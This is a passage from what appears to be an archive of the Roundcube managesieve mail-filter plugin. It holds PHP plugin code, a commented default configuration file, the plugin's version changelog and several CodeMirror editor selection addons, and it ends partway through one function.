     * Adds Filters section in Settings
     */
    function settings_actions($args)
    {
        $vacation_mode = (int) $this->rc->config->get('managesieve_vacation');
        $forward_mode  = (int) $this->rc->config->get('managesieve_forward');

        // register Filters action
        if ($vacation_mode != 2 && $forward_mode != 2) {
            $args['actions'][] = [
                'action' => 'plugin.managesieve',
                'class'  => 'filter',
                'label'  => 'filters',
                'domain' => 'managesieve',
                'title'  => 'filterstitle',
            ];
        }

        // register Vacation action
        if ($vacation_mode > 0) {
            $args['actions'][] = [
                'action' => 'plugin.managesieve-vacation',
                'class'  => 'vacation',
                'label'  => 'vacation',
                'domain' => 'managesieve',
                'title'  => 'vacationtitle',
            ];
        }

        // register Forward action
        if ($forward_mode > 0) {
            $args['actions'][] = [
                'action' => 'plugin.managesieve-forward',
                'class'  => 'forward',
                'label'  => 'forward',
                'domain' => 'managesieve',
                'title'  => 'forwardtitle',
            ];
        }

        return $args;
    }

    /**
     * Add UI elements to the 'mailbox view' and 'show message' UI.
     */
    function mail_task_handler()
    {
        // make sure we're not in ajax request
        if ($this->rc->output->type != 'html') {
            return;
        }

        $vacation_mode = (int) $this->rc->config->get('managesieve_vacation');
        $forward_mode  = (int) $this->rc->config->get('managesieve_forward');

        if ($vacation_mode == 2 || $forward_mode == 2) {
            return;
        }

        // include js script and localization
        $this->init_ui();

        // add 'Create filter' item to message menu
        $this->add_button([
                'command'  => 'managesieve-create',
                'label'    => 'managesieve.filtercreate',
                'type'     => 'link-menuitem',
                'classact' => 'icon filterlink active',
                'class'    => 'icon filterlink disabled',
                'innerclass' => 'icon filterlink',
            ], 'messagemenu'
        );

        // register some labels/messages
        $this->rc->output->add_label('managesieve.newfilter', 'managesieve.usedata',
            'managesieve.nodata', 'managesieve.nextstep', 'save');

        $this->rc->session->remove('managesieve_current');
    }

    /**
     * Get message headers for popup window
     */
    function mail_headers($args)
    {
        // this hook can be executed many times
        if (!empty($this->mail_headers_done)) {
            return $args;
        }

        $this->mail_headers_done = true;

        $headers = $this->parse_headers($args['headers']);

        if ($this->rc->action == 'preview') {
            $this->rc->output->command('parent.set_env', ['sieve_headers' => $headers]);
        }
        else {
            $this->rc->output->set_env('sieve_headers', $headers);
        }

        return $args;
    }

    /**
     * Plugin action handler
     */
    function managesieve_actions()
    {
        $uids = rcmail::get_uids(null, null, $multifolder, rcube_utils::INPUT_POST);

        // handle fetching email headers for the new filter form
        if (!empty($uids)) {
            $mailbox = key($uids);
            $message = new rcube_message($uids[$mailbox][0], $mailbox);
            $headers = $this->parse_headers($message->headers);

            $this->rc->output->set_env('sieve_headers', $headers);
            $this->rc->output->command('managesieve_create', true);
            $this->rc->output->send();
        }

        // handle other actions
        $engine_type = $this->rc->action == 'plugin.managesieve-vacation' ? 'vacation' : '';
        $engine_type = $this->rc->action == 'plugin.managesieve-forward' ? 'forward' : $engine_type;
        $engine      = $this->get_engine($engine_type);

        $this->init_ui();

        $engine->actions();
    }

    /**
     * Forms save action handler
     */
    function managesieve_save()
    {
        // load localization
        $this->add_texts('localization/', ['filters', 'managefilters']);

        // include main js script
        if ($this->api->output->type == 'html') {
            $this->include_script('managesieve.js');
        }

        $engine = $this->get_engine();
        $engine->save();
    }

    /**
     * Raw form save action handler
     */
    function managesieve_saveraw()
    {
        $engine = $this->get_engine();

        if (!$this->rc->config->get('managesieve_raw_editor', true)) {
            return;
        }

        // load localization
        $this->add_texts('localization/', ['filters','managefilters']);

        $engine->saveraw();
    }

    /**
     * Initializes engine object
     */
    public function get_engine($type = null)
    {
        if (!$this->engine) {
            // Add include path for internal classes
            $include_path = $this->home . '/lib' . PATH_SEPARATOR;
            $include_path .= ini_get('include_path');
            set_include_path($include_path);

            $class_name   = 'rcube_sieve_' . ($type ?: 'engine');
            $this->engine = new $class_name($this);
        }

        return $this->engine;
    }

    /**
     * Extract mail headers for new filter form
     */
    private function parse_headers($headers)
    {
        $result = [];

        if ($headers->subject) {
            $result[] = ['Subject', rcube_mime::decode_header($headers->subject)];
        }

        // @TODO: List-Id, others?
        foreach (['From', 'To'] as $h) {
            $hl = strtolower($h);
            if (!empty($headers->$hl)) {
                $list = rcube_mime::decode_address_list($headers->$hl);
                foreach ($list as $item) {
                    if (!empty($item['mailto'])) {
                        $result[] = [$h, $item['mailto']];
                    }
                }
            }
        }

        return $result;
    }
}
PKh�\�����'plugins/managesieve/config.inc.php.distnu�[���<?php

// Managesieve server host (and optional port). Default: localhost.
// Replacement variables supported in host name:
// %h - user's IMAP hostname
// %n - http hostname ($_SERVER['SERVER_NAME'])
// %d - domain (http hostname without the first part)
// For example %n = mail.domain.tld, %d = domain.tld
// If port is omitted it will be determined automatically using getservbyname()
// function, with 4190 as a fallback.
// Note: Add tls:// prefix to enable explicit STARTTLS
// or add ssl:// prefix to enable implicit SSL.
$config['managesieve_host'] = 'localhost';

// authentication method. Can be CRAM-MD5, DIGEST-MD5, PLAIN, LOGIN, EXTERNAL
// or none. Optional, defaults to best method supported by server.
$config['managesieve_auth_type'] = null;

// Optional managesieve authentication identifier to be used as authorization proxy.
// Authenticate as a different user but act on behalf of the logged in user.
// Works with PLAIN and DIGEST-MD5 auth.
$config['managesieve_auth_cid'] = null;

// Optional managesieve authentication password to be used for imap_auth_cid
$config['managesieve_auth_pw'] = null;

// Connection socket context options
// See http://php.net/manual/en/context.ssl.php
// The example below enables server certificate validation
//$config['managesieve_conn_options'] = [
//  'ssl'         => [
//     'verify_peer'  => true,
//     'verify_depth' => 3,
//     'cafile'       => '/etc/openssl/certs/ca.crt',
//   ],
// ];
// Note: These can be also specified as an array of options indexed by hostname
$config['managesieve_conn_options'] = null;

// A file with default script content (e.g. spam filter)
$config['managesieve_default'] = '/etc/dovecot/sieve/global';

// The name of the script which will be used when there's no user script
$config['managesieve_script_name'] = 'managesieve';

// Sieve RFC says that we should use UTF-8 encoding for mailbox names,
// but some implementations work with UTF7-IMAP encoding only.
// Defaults to UTF7-IMAP
$config['managesieve_mbox_encoding'] = 'UTF-8';

// I need this because my dovecot (with listescape plugin) uses
// ':' delimiter, but creates folders with dot delimiter
$config['managesieve_replace_delimiter'] = '';

// disabled sieve extensions (body, copy, date, editheader, encoded-character,
// envelope, environment, ereject, fileinto, ihave, imap4flags, index,
// mailbox, mboxmetadata, regex, reject, relational, servermetadata,
// spamtest, spamtestplus, subaddress, vacation, variables, virustest, etc.
// Note: not all extensions are implemented
$config['managesieve_disabled_extensions'] = [];

// Enables debugging of conversation with sieve server. Logs it into <log_dir>/sieve
$config['managesieve_debug'] = false;

// Enables features described in http://wiki.kolab.org/KEP:14
$config['managesieve_kolab_master'] = false;

// Script name extension used for scripts including. Dovecot uses '.sieve',
// Cyrus uses '.siv'. Doesn't matter if you have managesieve_kolab_master disabled.
$config['managesieve_filename_extension'] = '.sieve';

// List of reserved script names (without extension).
// Scripts listed here will be not presented to the user.
$config['managesieve_filename_exceptions'] = [];

// List of domains limiting destination emails in redirect action
// If not empty, user will need to select domain from a list
$config['managesieve_domains'] = [];

// Default list of entries in header selector
$config['managesieve_default_headers'] = ['Subject', 'From', 'To'];

// Enables separate management interface for vacation responses (out-of-office)
// 0 - no separate section (default),
// 1 - add Vacation section,
// 2 - add Vacation section, but hide Filters section
$config['managesieve_vacation'] = 0;

// Enables separate management interface for setting forwards (redirect to and copy to)
// 0 - no separate section (default),
// 1 - add Forward section,
// 2 - add Forward section, but hide Filters section
$config['managesieve_forward'] = 0;

// Default vacation interval (in days).
// Note: If server supports vacation-seconds extension it is possible
// to define interval in seconds here (as a string), e.g. "3600s".
$config['managesieve_vacation_interval'] = 0;

// Some servers require vacation :addresses to be filled with all
// user addresses (aliases). This option enables automatic filling
// of these on initial vacation form creation.
$config['managesieve_vacation_addresses_init'] = false;

// Sometimes you want to always reply with mail email address
// This option enables automatic filling of :from field on initial vacation form creation.
$config['managesieve_vacation_from_init'] = false;

// Supported methods of notify extension. Default: 'mailto'
$config['managesieve_notify_methods'] = ['mailto'];

// Enables scripts RAW editor feature
$config['managesieve_raw_editor'] = true;

// Disabled actions. Prevents user from performing specific actions by disabling
// the UI elements:
// - list_sets,
//   Note: disabling list_sets removes the Filter sets widget from the UI and means
//   the set defined in managesieve_script_name will always be used (and activated)
// - enable_disable_set,
// - delete_set,
// - new_set,
// - download_set,
// - new_filter,
// - delete_filter,
// - redirect: This one will remove 'redirect' option from the filter actions selector
//   Note: This will not remove it for redirect actions already existing in the script.
//   Note: This has no impact on the Forwarding UI
$config['managesieve_disabled_actions'] = [];

// List of hosts that support managesieve.
// Activate managesieve for selected hosts only. If this is not set all hosts are allowed.
// Example: $config['managesieve_allowed_hosts'] = ['host1.mydomain.com', 'host2.mydomain.com'];
$config['managesieve_allowed_hosts'] = null;
PKh�\�~��H�Hplugins/managesieve/Changelognu�[���- Fix javascript error when relational or spamtest extension is not enabled (#9139)
- Removed managesieve_usetls option (in favor of the scheme prefix in managesieve_host)
- Plugin API: Removed `port` parameter in `managesieve_connect` hook
- Plugin API: Removed `usetls` parameter in `managesieve_connect` hook

* version 9.4 [2021-06-06]
-----------------------------------------------------------
- Add ability to remove 'redirect' option from UI (#7922)
- Add support for 'spamtest' extension - RFC3685 (#6950)
- Improve UX on custom header input (#7207)
- Allow display name with email address in vacation :from field (#6760)
- Replace "Filter disabled" with "Filter enabled" (#7028)
- Allow angle brackets in out-of-office message body (#7518)
- Fix so modifier type select wasn't hidden after hiding modifier select on header change
- Fix filter selection after removing a first filter (#7079)
- Fix bug where it wasn't possible to save flag actions (#7188)
- Fix bug where activation of forward/vacation rule could activate a wrong script (#7423)
- Fix bug where forward/vacation rule could end up being duplicated (#7349)
- Fix removing nested rules in scripts (#8011)

* version 9.3 [2019-04-21]
-----------------------------------------------------------
- Use RFC-compliant line endings, CRLF instead of LF (#6686)
- Fix bug where global includes were requested for vacation (#6716)
- Fix so "Create filter" option does not show up when Filters menu is disabled (#6723)

* version 9.2 [2018-11-08]
-----------------------------------------------------------
- Added support for 'editheader' extension - RFC5293 (#5954)
- Fix bug where show_real_foldernames setting wasn't respected (#6422)
- Fix bug where custom header or variable could be lost on form submission (#6594)

* version 9.1 [2018-05-19]
-----------------------------------------------------------
- Added GSSAPI support (#5779)
- Added option managesieve_default_headers
- Added option managesieve_forward to enable settings dialog for simple forwarding (#6021)
- Support filter action with custom IMAP flags (#6011)
- Support 'mime' extension tests - RFC5703 (#5832)
- Support enabling the plugin for specified hosts only (#6292)
- Support Elastic skin
- Fix bug where text: syntax was forced for strings longer than 1024 characters (#6143)
- Fix missing Save button in Edit Filter Set page of Classic skin (#6154)
- Rename "Vacation" to "Out of Office"

* version 9.0 [2017-10-02]
-----------------------------------------------------------
- Fix parsing dot-staffed lines in multiline text (#5838)
- Fix AM/PM suffix in vacation time selectors
- Fix bug where 'exists' operator was reset to 'contains' (#5899)
- Add ability to disable filter sets and other actions (#5496, #5898)

* version 8.9 [2017-05-22]
-----------------------------------------------------------
- Fix handling of scripts with nested rules (#5540)
- Fix possible defect in handling \r\n in scripts (#5685)
- Performance: Skip redundant LISTSCRIPTS command

* version 8.8 [2016-11-27]
-----------------------------------------------------------
- Fix parsing of vacation date-time with non-default date_format (#5372)
- Fix regression where js error is thrown if server does not support 'duplicate' extension
- Add option to automatically set vacation :from address (#5428)
- Support per-host managesieve_conn_options (#5136)
- Added (optional) RAW script editor (#5414)

* version 8.7 [2016-07-19]
-----------------------------------------------------------
- Support 'string' test from variables extension [RFC 5229] (#5248)
- Support 'duplicate' extension [RFC 7352]
- Unhide advanced rule controls if there are inputs with errors
- Display warning message when filter form contains errors

* version 8.6 [2016-04-06]
-----------------------------------------------------------
- Refactored script parser to be 100x faster (on big scripts)

* version 8.5 [2015-11-15]
-----------------------------------------------------------
- Add support for :from parameter in vacation action (patch from Michele Locati)

* version 8.4 [2015-04-20]
-----------------------------------------------------------
- Add option to prepopulate vacation addresses on form init (#1490030)
- Add option to define default vacation interval
- Fix missing position indicator in Larry skin when dragging a filter
- Fix incorrect filter data after filter delete (#1490356)

* version 8.3 [2015-03-12]
-----------------------------------------------------------
- Fix PHP fatal error when visiting Vacation interface and there's no sieve script yet
- Fix handling of header test with one-element array as header name
- Fix missing host:port in connection error message

* version 8.2 [2015-01-14]
-----------------------------------------------------------
- Fix bug where actions without if/elseif/else in sieve scripts were skipped
- Support "not allof" test as a negation of all sub-tests
- Fix bug where vacation rule was saved to wrong script if managesieve_kolab_master=true
- Improve procedure of script selection to write a vacation rule

* version 8.1 [2014-12-09]
-----------------------------------------------------------
- Added simple API to manage vacation rule
- Fix missing css/js scripts in filter form in mail task
- Fix default vacation status (#1490019)
- Make possible to set vacation start/end date and time
- Fix compatibility with contextmenu plugin

* version 8.0 [2014-07-16]
-----------------------------------------------------------
- Fix bug where non-existing (or unsubscribed) folder wasn't listed in folder selector (#1489956)
- Added optional separate interface for out-of-office management (#1488266)
- Fix disabled "create filter" action
- Fix enotify/notify extension handling
- Improved UI accessibility
- Added option to specify connection socket parameters - managesieve_conn_options
- Support vacation date rules without date extension (#1489978)

* version 7.2 [2014-02-14]
-----------------------------------------------------------
- Nicely handle server-side modification of script names (#1489412)
- Add Filters tab/section using plugin API hook
- Fix issue where folder selector wasn't visible on new filter form
- Fix issue where multi-select fields were not visible in new filter action rows (#1489600)
- Fix issue in displaying filter form when managesieve_kolab_master=true
  and sieve variables extension is supported by the server (#1489599)
- Fix wrong action folder selection if managesieve_domains is not empty (#1489617)
- Fix filter creation from an email when preview frame is disabled (#1489647)

* version 7.1 [2013-11-22]
-----------------------------------------------------------
- lib/Net_Sieve.php moved to Roundcube /lib directory
- Added managesieve_domains option to limit redirect destinations
- Fix bug where at least one additional address of vacation message was required (#1489345)
- Fix so i;ascii-numeric comparator is not forced as default for :count and :value operators
- Fix date/currentdate related form issues and comparators handling (#1489346)
- Fix a bug where deleted filter was not removed from the list

* version 7.0 [2013-09-09]
-----------------------------------------------------------
- Add vacation-seconds extension support (RFC 6131)
- Several script parser code improvements
- Support string list arguments in filter form (#1489018)
- Support date, currentdate and index tests - RFC5260 (#1488120)
- Split plugin file into two files
- Fix handling of &, <, > characters in scripts/filter names (#1489208)
- Support 'keep' action (#1489226)
- Add common headers to header selector (#1489271)

* version 6.2 [2013-02-17]
-----------------------------------------------------------
- Support tls:// prefix in managesieve_host option
- Removed deprecated functions usage
- Don't trim whitespace in folder names (#1488955)

* version 6.1 [2012-12-21]
-----------------------------------------------------------
- Fixed filter activation/deactivation confirmation message (#1488765)
- Moved rcube_* classes to <plugin>/lib/Roundcube for compat. with Roundcube Framework autoloader
- Fixed filter selection after filter deletion (#1488832)
- Fixed compatibility with jQueryUI-1.9
- Don't force 'stop' action on last rule in a script

* version 6.0 [2012-10-03]
-----------------------------------------------------------
- Fixed issue with DBMail bug [http://pear.php.net/bugs/bug.php?id=19077] (#1488594)
- Added support for enotify/notify (RFC5435, RFC5436, draft-ietf-sieve-notify-00)
- Change default port to 4190 (IANA-allocated), add port auto-detection (#1488713)
- Added request size limits detection and script corruption prevention (#1488648)
- Fix so scripts listed in managesieve_filename_exceptions aren't displayed on the list (#1488724)

* version 5.2 [2012-07-24]
-----------------------------------------------------------
- Added GUI for variables setting - RFC5229 (patch from Paweł Słowik)
- Fixed scrollbars in Larry's iframes
- Fix performance issue in message_headers_output hook handling

* version 5.1 [2012-06-21]
-----------------------------------------------------------
- Fixed filter popup width (for non-english localizations)
- Fixed tokenizer infinite loop on invalid script content
- Larry skin support
- Fixed custom header name validity check, made RFC2822-compliant

* version 5.0 [2012-01-05]
-----------------------------------------------------------
- Fixed setting test type to :is when none is specified
- Fixed javascript error in IE8
- Fixed possible ID duplication when adding filter rules very fast (#1488288)
- Fixed bug where drag layer wasn't removed when dragging was ended over sets list

* version 5.0-rc1 [2011-11-17]
-----------------------------------------------------------
- Fixed sorting of scripts, scripts including aware of the sort order
- Fixed import of rules with unsupported tests
- Added 'address' and 'envelope' tests support
- Added 'body' extension support (RFC5173)
- Added 'subaddress' extension support (RFC5233)
- Added comparators support
- Changed Sender/Recipient labels to From/To
- Fixed importing rule names from Ingo
- Fixed handling of extensions disabled in config

* version 5.0-beta [2011-10-17]
-----------------------------------------------------------
- Added possibility to create a filter based on selected message "in-place"
- Fixed import from Horde-INGO (#1488064)
- Add managesieve_script_name option for default name of the script (#1487956)
- Fixed handling of enabled magic_quotes_gpc setting
- Fixed PHP warning on connection error when submitting filter form
- Fixed bug where new action row with flags wasn't handled properly
- Added managesieve_connect hook for plugins
- Fixed doubled Filter tab on page refresh
- Added filters set selector in filter form when invoked in mail task
- Improved script parser, added support for include and variables extensions
- Added Kolab's KEP:14 support (http://wiki.kolab.org/User:Greve/Drafts/KEP:14)
- Use smaller action/rule buttons
- UI redesign: added possibility to move filter to any place using drag&drop
  (instead of up/down buttons), added filter sets list object, added more
  'loading' messages
- Added option to hide some scripts (managesieve_filename_exceptions)

* version 4.3 [2011-07-28]
-----------------------------------------------------------
- Fixed handling of error in Net_Sieve::listScripts()
- Fixed handling of REFERRAL responses (http://pear.php.net/bugs/bug.php?id=17107)
- Fixed bug where wrong folders hierarchy was displayed on folders listing

* version 4.2 [2011-05-24]
-----------------------------------------------------------
- Moved elsif replacement code to handle only imports from other formats
- Fixed mod_mailbox() usage for newer Roundcube versions
- Fixed regex extension (error: regex require missing)

* version 4.1 [2011-03-07]
-----------------------------------------------------------
- Fix fileinto target is always INBOX (#1487776)
- Fix escaping of backslash character in quoted strings (#1487780)
- Fix handling of non-safe characters (double-quote, backslash)
  or UTF-8 characters (dovecot's implementation bug workaround)
  in script names
- Fix saving of a script using flags extension on servers with imap4flags support (#1487825)

* version 4.0 [2011-02-10]
-----------------------------------------------------------
- Fix STARTTLS for timsieved < 2.3.10
- Added :regex and :matches support (#1487746)
- Added setflag/addflag/removeflag support (#1487449)
- Added support for vacation :subject field (#1487120)
- rcube_sieve_script class moved to separate file
- Moved javascript code from skin templates into managesieve.js file

* version 3.0 [2011-02-01]
-----------------------------------------------------------
- Added support for SASL proxy authentication (#1486691)
- Fixed parsing of scripts with \r\n line separator
- Apply forgotten changes for form errors handling
- Fix multi-line strings parsing (#1487685)
- Added tests for script parser
- Rewritten script parser
- Fix double request when clicking on Filters tab using Firefox

* version 2.10 [2010-10-10]
-----------------------------------------------------------
- Fixed import from Avelsieve
- Use localized size units (#1486976)
- Added support for relational operators and i;ascii-numeric comparator
- Added popups with form errors

* version 2.9 [2010-08-02]
-----------------------------------------------------------
- Fixed vacation parameters parsing (#1486883)

* version 2.8 [2010-07-08]
-----------------------------------------------------------
- Added managesieve_auth_type option (#1486731)

* version 2.7 [2010-07-06]
-----------------------------------------------------------
- Update Net_Sieve to version 1.3.0 (fixes LOGIN authentication)
- Added support for copying and copy sending of messages (COPY extension)

* version 2.6 [2010-06-03]
-----------------------------------------------------------
- Support %n and %d variables in managesieve_host option

* version 2.5 [2010-05-04]
-----------------------------------------------------------
- Fix filters set label after activation
- Fix filters set activation, add possibility to deactivate sets (#1486699)
- Fix download button state when sets list is empty
- Fix errors when sets list is empty

* version 2.4 [2010-04-01]
-----------------------------------------------------------
- Fixed bug in DIGEST-MD5 authentication (http://pear.php.net/bugs/bug.php?id=17285)
- Fixed disabling rules with many tests
- Small css unification with core
- Scripts import/export

* version 2.3 [2010-03-18]
-----------------------------------------------------------
- Added import from Horde-INGO
- Support for more than one match using if+stop instead of if+elsif structures (#1486078)
- Support for selectively disabling rules within a single sieve script (#1485882)
- Added vertical splitter

* version 2.2 [2010-02-06]
-----------------------------------------------------------
- Fix handling of "<>" characters in filter names (#1486477)

* version 2.1 [2010-01-12]
-----------------------------------------------------------
- Fix "require" structure generation when many modules are used
- Fix problem with '<' and '>' characters in header tests

* version 2.0 [2009-11-02]
-----------------------------------------------------------
- Added 'managesieve_debug' option
- Added multi-script support
- Small css improvements + sprite image buttons
- PEAR::NetSieve 1.2.0b1

* version 1.7 [2009-09-20]
-----------------------------------------------------------
- Support multiple managesieve hosts using %h variable
  in managesieve_host option
- Fix first rule deleting (#1486140) 

* version 1.6 [2009-09-08]
-----------------------------------------------------------
- Fix warning when importing squirrelmail rules
- Fix handling of "true" as "anyof (true)" test

* version 1.5 [2009-09-04]
-----------------------------------------------------------
- Added es_ES, ua_UA localizations
- Added 'managesieve_mbox_encoding' option

* version 1.4 [2009-07-29]
-----------------------------------------------------------
- Updated PEAR::Net_Sieve to 1.1.7

* version 1.3 [2009-07-24]
-----------------------------------------------------------
- support more languages
- support config.inc.php file

* version 1.2 [2009-06-28]
-----------------------------------------------------------
- Support IMAP namespaces in fileinto (#1485943)
- Added it_IT localization

* version 1.1 [2009-05-27]
-----------------------------------------------------------
- Added new icons
- Added support for headers lists (coma-separated) in rules
- Added de_CH localization

* version 1.0 [2009-05-21]
-----------------------------------------------------------
- Rewritten using plugin API
- Added hu_HU localization (Tamas Tevesz)

* version beta7 (svn-r2300) [2009-03-01]
-----------------------------------------------------------
- Added SquirrelMail script auto-import (Jonathan Ernst)
- Added 'vacation' support (Jonathan Ernst & alec)
- Added 'stop' support (Jonathan Ernst)
- Added option for extensions disabling (Jonathan Ernst & alec)
- Added fi_FI, nl_NL, bg_BG localization
- Small style fixes

* version 0.2-stable1 (svn-r2205) [2009-01-03]
-----------------------------------------------------------
- Fix moving down filter row
- Fixes for compressed js files in stable release package
- Created patch for svn version r2205

* version 0.2-stable [2008-12-31]
-----------------------------------------------------------
- Added ru_RU, fr_FR, zh_CN translation
- Fixes for Roundcube 0.2-stable

* version 0.2-beta [2008-09-21]
-----------------------------------------------------------
- Small css fixes for IE
- Fixes for Roundcube 0.2-beta

* version beta6 [2008-08-08]
-----------------------------------------------------------
- Added de_DE translation
- Fix for Roundcube r1634

* version beta5 [2008-06-10]
-----------------------------------------------------------
- Fixed 'exists' operators
- Fixed 'not*' operators for custom headers
- Fixed filters deleting

* version beta4 [2008-06-09]
-----------------------------------------------------------
- Fix for Roundcube r1490

* version beta3 [2008-05-22]
-----------------------------------------------------------
- Fixed textarea error class setting
- Added pagetitle setting
- Added option 'managesieve_replace_delimiter'
- Fixed errors on IE (still need some css fixes)

* version beta2 [2008-05-20]
-----------------------------------------------------------
- Use 'if' only for first filter and 'elsif' for the rest

* version beta1 [2008-05-15]
-----------------------------------------------------------
- Initial version for Roundcube r1388.
PKh�\�fW@plugins/managesieve/codemirror/addon/selection/mark-selection.jsnu�[���// CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

// Because sometimes you need to mark the selected *text*.
//
// Adds an option 'styleSelectedText' which, when enabled, gives
// selected text the CSS class given as option value, or
// "CodeMirror-selectedtext" when the value is not a string.

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  CodeMirror.defineOption("styleSelectedText", false, function(cm, val, old) {
    var prev = old && old != CodeMirror.Init;
    if (val && !prev) {
      cm.state.markedSelection = [];
      cm.state.markedSelectionStyle = typeof val == "string" ? val : "CodeMirror-selectedtext";
      reset(cm);
      cm.on("cursorActivity", onCursorActivity);
      cm.on("change", onChange);
    } else if (!val && prev) {
      cm.off("cursorActivity", onCursorActivity);
      cm.off("change", onChange);
      clear(cm);
      cm.state.markedSelection = cm.state.markedSelectionStyle = null;
    }
  });

  function onCursorActivity(cm) {
    if (cm.state.markedSelection)
      cm.operation(function() { update(cm); });
  }

  function onChange(cm) {
    if (cm.state.markedSelection && cm.state.markedSelection.length)
      cm.operation(function() { clear(cm); });
  }

  var CHUNK_SIZE = 8;
  var Pos = CodeMirror.Pos;
  var cmp = CodeMirror.cmpPos;

  function coverRange(cm, from, to, addAt) {
    if (cmp(from, to) == 0) return;
    var array = cm.state.markedSelection;
    var cls = cm.state.markedSelectionStyle;
    for (var line = from.line;;) {
      var start = line == from.line ? from : Pos(line, 0);
      var endLine = line + CHUNK_SIZE, atEnd = endLine >= to.line;
      var end = atEnd ? to : Pos(endLine, 0);
      var mark = cm.markText(start, end, {className: cls});
      if (addAt == null) array.push(mark);
      else array.splice(addAt++, 0, mark);
      if (atEnd) break;
      line = endLine;
    }
  }

  function clear(cm) {
    var array = cm.state.markedSelection;
    for (var i = 0; i < array.length; ++i) array[i].clear();
    array.length = 0;
  }

  function reset(cm) {
    clear(cm);
    var ranges = cm.listSelections();
    for (var i = 0; i < ranges.length; i++)
      coverRange(cm, ranges[i].from(), ranges[i].to());
  }

  function update(cm) {
    if (!cm.somethingSelected()) return clear(cm);
    if (cm.listSelections().length > 1) return reset(cm);

    var from = cm.getCursor("start"), to = cm.getCursor("end");

    var array = cm.state.markedSelection;
    if (!array.length) return coverRange(cm, from, to);

    var coverStart = array[0].find(), coverEnd = array[array.length - 1].find();
    if (!coverStart || !coverEnd || to.line - from.line <= CHUNK_SIZE ||
        cmp(from, coverEnd.to) >= 0 || cmp(to, coverStart.from) <= 0)
      return reset(cm);

    while (cmp(from, coverStart.from) > 0) {
      array.shift().clear();
      coverStart = array[0].find();
    }
    if (cmp(from, coverStart.from) < 0) {
      if (coverStart.to.line - from.line < CHUNK_SIZE) {
        array.shift().clear();
        coverRange(cm, from, coverStart.to, 0);
      } else {
        coverRange(cm, from, coverStart.from, 0);
      }
    }

    while (cmp(to, coverEnd.to) < 0) {
      array.pop().clear();
      coverEnd = array[array.length - 1].find();
    }
    if (cmp(to, coverEnd.to) > 0) {
      if (to.line - coverEnd.from.line < CHUNK_SIZE) {
        array.pop().clear();
        coverRange(cm, coverEnd.from, to);
      } else {
        coverRange(cm, coverEnd.to, to);
      }
    }
  }
});
PKh�\�9���	�	=plugins/managesieve/codemirror/addon/selection/active-line.jsnu�[���// CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";
  var WRAP_CLASS = "CodeMirror-activeline";
  var BACK_CLASS = "CodeMirror-activeline-background";
  var GUTT_CLASS = "CodeMirror-activeline-gutter";

  CodeMirror.defineOption("styleActiveLine", false, function(cm, val, old) {
    var prev = old == CodeMirror.Init ? false : old;
    if (val == prev) return
    if (prev) {
      cm.off("beforeSelectionChange", selectionChange);
      clearActiveLines(cm);
      delete cm.state.activeLines;
    }
    if (val) {
      cm.state.activeLines = [];
      updateActiveLines(cm, cm.listSelections());
      cm.on("beforeSelectionChange", selectionChange);
    }
  });

  function clearActiveLines(cm) {
    for (var i = 0; i < cm.state.activeLines.length; i++) {
      cm.removeLineClass(cm.state.activeLines[i], "wrap", WRAP_CLASS);
      cm.removeLineClass(cm.state.activeLines[i], "background", BACK_CLASS);
      cm.removeLineClass(cm.state.activeLines[i], "gutter", GUTT_CLASS);
    }
  }

  function sameArray(a, b) {
    if (a.length != b.length) return false;
    for (var i = 0; i < a.length; i++)
      if (a[i] != b[i]) return false;
    return true;
  }

  function updateActiveLines(cm, ranges) {
    var active = [];
    for (var i = 0; i < ranges.length; i++) {
      var range = ranges[i];
      var option = cm.getOption("styleActiveLine");
      if (typeof option == "object" && option.nonEmpty ? range.anchor.line != range.head.line : !range.empty())
        continue
      var line = cm.getLineHandleVisualStart(range.head.line);
      if (active[active.length - 1] != line) active.push(line);
    }
    if (sameArray(cm.state.activeLines, active)) return;
    cm.operation(function() {
      clearActiveLines(cm);
      for (var i = 0; i < active.length; i++) {
        cm.addLineClass(active[i], "wrap", WRAP_CLASS);
        cm.addLineClass(active[i], "background", BACK_CLASS);
        cm.addLineClass(active[i], "gutter", GUTT_CLASS);
      }
      cm.state.activeLines = active;
    });
  }

  function selectionChange(cm, sel) {
    updateActiveLines(cm, sel.ranges);
  }
});
PKh�\����Cplugins/managesieve/codemirror/addon/selection/selection-pointer.jsnu�[���// CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  CodeMirror.defineOption("selectionPointer", false, function(cm, val) {
    var data = cm.state.selectionPointer;
    if (data) {
      CodeMirror.off(cm.getWrapperElement(), "mousemove", data.mousemove);
      CodeMirror.off(cm.getWrapperElement(), "mouseout", data.mouseout);
      CodeMirror.off(window, "scroll", data.windowScroll);
      cm.off("cursorActivity", reset);
      cm.off("scroll", reset);
      cm.state.selectionPointer = null;
      cm.display.lineDiv.style.cursor = "";
    }
    if (val) {
      data = cm.state.selectionPointer = {
        value: typeof val == "string" ? val : "default",
        mousemove: function(event) { mousemove(cm, event); },
        mouseout: function(event) { mouseout(cm, event); },
        windowScroll: function() { reset(cm); },
        rects: null,
        mouseX: null, mouseY: null,
        willUpdate: false
      };
      CodeMirror.on(cm.getWrapperElement(), "mousemove", data.mousemove);
      CodeMirror.on(cm.getWrapperElement(), "mouseout", data.mouseout);
      CodeMirror.on(window, "scroll", data.windowScroll);
      cm.on("cursorActivity", reset);
      cm.on("scroll", reset);
    }
  });

  function mousemove(cm, event) {
    var data = cm.state.selectionPointer;
    if (event.buttons == null ? event.which : event.buttons) {
      data.mouseX = data.mouseY = null;
    } else {
      data.mouseX = event.clientX;
      data.mouseY = event.clientY;
    }
    scheduleUpdate(cm);
  }

  function mouseout(cm, event) {
